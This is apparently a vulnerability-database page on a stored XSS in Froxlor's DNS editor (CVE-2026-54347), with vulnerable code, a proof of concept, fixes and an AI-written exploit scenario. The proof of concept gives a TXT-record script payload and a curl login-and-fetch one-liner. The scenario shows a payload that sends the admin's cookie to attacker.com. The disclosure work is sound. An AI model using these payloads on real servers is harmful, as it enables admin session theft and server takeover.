Skip to main content

Froxlor EUVDEUVD-2026-61219

| CVE-2026-54347 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-08-18 https://github.com/froxlor/froxlor GHSA-43gm-9rr3-cx7g
8.7
CVSS 3.1 · Vendor: https://github.com/froxlor/froxlor
Share

Severity by source

Vendor (https://github.com/froxlor/froxlor) PRIMARY
8.7 HIGH
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
vuln.today AI
8.7 HIGH

Network-delivered stored XSS requires low-privilege customer account (PR:L), passive admin page view triggers payload (UI:R), and cross-scope admin session takeover justifies S:C with C:H/I:H; no availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

Primary rating from Vendor (https://github.com/froxlor/froxlor).

CVSS VectorVendor: https://github.com/froxlor/froxlor

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
Aug 18, 2026 - 21:01 vuln.today
Analysis Generated
Aug 18, 2026 - 21:01 vuln.today
CVE Published
Aug 18, 2026 - 20:47 github-advisory
HIGH 8.7

DescriptionCVE.org

Summary

A stored Cross-Site Scripting (XSS) vulnerability in Froxlor's DNS editor allows an authenticated user with DNS editor access (customer role) to inject arbitrary JavaScript into any administrator's browser session. When an administrator views the DNS configuration of an affected domain, the payload executes automatically - enabling complete admin account takeover, credential theft, and full server compromise.

---

Details

Three code locations combine to create this vulnerability:

1. Input validation does not strip HTML special characters - lib/Froxlor/Api/Commands/DomainZones.php:158

php
// Only strips non-printable chars. < and > (0x3C/0x3E) pass through unmodified.
$content = preg_replace('/[^\x09\x20-\x7E]/', '', $content);
$content = Dns::encloseTXTContent($content);  // only wraps in quotes, no HTML encoding

2. Display callback returns raw HTML without escaping - lib/Froxlor/UI/Callbacks/Text.php:95

php
public static function wordwrap(array $attributes): string {
    return wordwrap($attributes['data'], 100, '<br>', true);  // no htmlspecialchars()
}

3. Twig template renders the callback output with |raw - templates/Froxlor/table/table.html.twig:57

twig
{% else %}
    {{ td.data|raw }}   {
# string from wordwrap() - rendered without escaping #}
{% endif %}

The DNS editor table assigns [Text::class, 'wordwrap'] as the callback for the content column (lib/tablelisting/tablelisting.dns.php:58). The callback returns a non-iterable string, so the template falls to the |raw branch.

Additionally, the Content Security Policy header (lib/Froxlor/UI/Panel/UI.php:140) includes 'unsafe-inline', rendering CSP completely ineffective as a mitigation:

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; ...

---

PoC

<img width="2025" height="1144" alt="image" src="https://github.com/user-attachments/assets/f6808b24-c4b6-4bd2-9673-d7ddc4939794" />

Prerequisites: Froxlor running with DNS enabled (system.dnsenabled = 1), at least one domain with DNS editor enabled, and a user account (customer or admin) with DNS editor access.

Step 1 - Inject the payload (via web UI or API as any DNS-enabled user):

Navigate to the DNS editor for any domain, add a TXT record with:

  • Record: @
  • Type: TXT
  • Content: <img src=x onerror=alert(document.domain)>

Step 2 - Trigger:

No interaction is required beyond page navigation. The payload fires automatically on page load the moment any logged-in administrator visits:

http://TARGET/admin_domains.php?page=domaindnseditor&domain_id=<id>

This URL is part of the normal admin workflow (domain management → DNS editor). No clicking, no form submission, no special conditions - visiting the URL is sufficient.

Verify via command line (login + fetch in one line):

bash
T=$(curl -sc /tmp/c http://TARGET/index.php | grep -oP 'csrf-token" content="\K[^"]+') && \
curl -sc /tmp/c -b /tmp/c http://TARGET/index.php \
  -d "loginname=admin&password=PASS&dologin=1&send=send&csrf_token=$T" -o /dev/null && \
curl -sb /tmp/c "http://TARGET/admin_domains.php?page=domaindnseditor&domain_id=ID" \
  | grep -o '<img src=x[^>]*>'

Expected output confirming unescaped payload in page source:

<img src=x onerror=alert(document.domain)>

In a browser session the alert() fires immediately - no clicks required.

---

Impact

Type: Stored Cross-Site Scripting (Stored XSS)

Who is impacted: Any Froxlor installation with DNS editor functionality enabled. The attack requires a low-privilege customer account with dnsenabled = 1 - a standard feature granted to hosting customers. The victim is any administrator who views the affected domain's DNS configuration.

A real-world attacker would replace alert() with a payload that silently exfiltrates the admin session cookie, then uses it to create a backdoor admin account, read all customer credentials, or execute arbitrary commands on the underlying server through Froxlor's system configuration interface.

---

Fix

Apply one of the following:

Option A (recommended) - Remove |raw from the table template:

twig
{
# templates/Froxlor/table/table.html.twig:57 #}
{{ td.data }}   {
# Twig auto-escaping handles it #}

Callbacks that intentionally return HTML (e.g. action buttons) should return a structured array with a macro key instead of a raw string.

Option B - Escape in the callback:

php
// lib/Froxlor/UI/Callbacks/Text.php
public static function wordwrap(array $attributes): string {
    return wordwrap(htmlspecialchars($attributes['data'], ENT_QUOTES, 'UTF-8'), 100, '<br>', true);
}

Option C - Sanitize at input:

php
// lib/Froxlor/Api/Commands/DomainZones.php after line 160
$content = htmlspecialchars($content, ENT_QUOTES, 'UTF-8');

Also remove 'unsafe-inline' and 'unsafe-eval' from the CSP header in lib/Froxlor/UI/Panel/UI.php:140.

--- If possible, please apply for a CVE when publishing.

AnalysisAI

Stored XSS in Froxlor's DNS TXT record editor enables any low-privilege hosting customer with DNS editor access to inject arbitrary JavaScript that executes automatically in an administrator's browser session upon routine page load. The attack exploits a three-point failure: missing HTML sanitization at input, an unescaped wordwrap() callback that introduces raw HTML, and a Twig template using |raw that bypasses auto-escaping - compounded by a CSP header that includes 'unsafe-inline', rendering it useless. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Attacker authenticates as customer with DNS editor access
Delivery
Inject XSS payload in TXT record content field
Exploit
Administrator navigates to domain DNS editor (routine workflow)
Install
Payload executes automatically in admin browser session
C2
Exfiltrate admin session cookie or credentials
Execute
Authenticate as administrator
Impact
Create backdoor admin account or execute server commands via system configuration interface

Vulnerability AssessmentAI

Exploitation Exploitation requires three concrete conditions: (1) Froxlor must be running with DNS functionality enabled via the `system.dnsenabled = 1` system setting - this is a configurable feature, not the default in minimal installs; (2) at least one domain must have DNS editor access granted to a customer account (`dnsenabled = 1` on that domain record); (3) the attacker must hold a valid Froxlor account (customer or admin role) with DNS editor permission on that domain. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 3.1 score of 8.7 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N) accurately reflects the key risk dimensions: network-accessible attack surface, low complexity, a low-privilege starting position, one passive victim interaction step, and cross-scope high-impact admin takeover. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario A hosting customer with DNS editor access adds a TXT record to their domain with content `<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>` via the Froxlor web UI or API. The next time any administrator views that domain's DNS configuration through the standard admin workflow (`admin_domains.php?page=domaindnseditor&domain_id=<id>`), the payload fires on page load with no clicks required, silently transmitting the admin's session cookie to the attacker. …
Remediation Upgrade to Froxlor 2.3.8 immediately; the release is available at https://github.com/froxlor/froxlor/releases/tag/2.3.8 and the specific escaping fix is in commit a1d8f425b11ef7597949018814afa056a842cba0. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, obtain the Froxlor vendor advisory to identify the patched version and compatibility assessment; immediately restrict DNS editor access to essential administrative personnel as an interim control and disable CSP 'unsafe-inline' directives in your web server configuration. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in PHP

View all
CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

CVE-2024-46506 CRITICAL POC
10.0 May 13

NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro

Share

EUVD-2026-61219 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy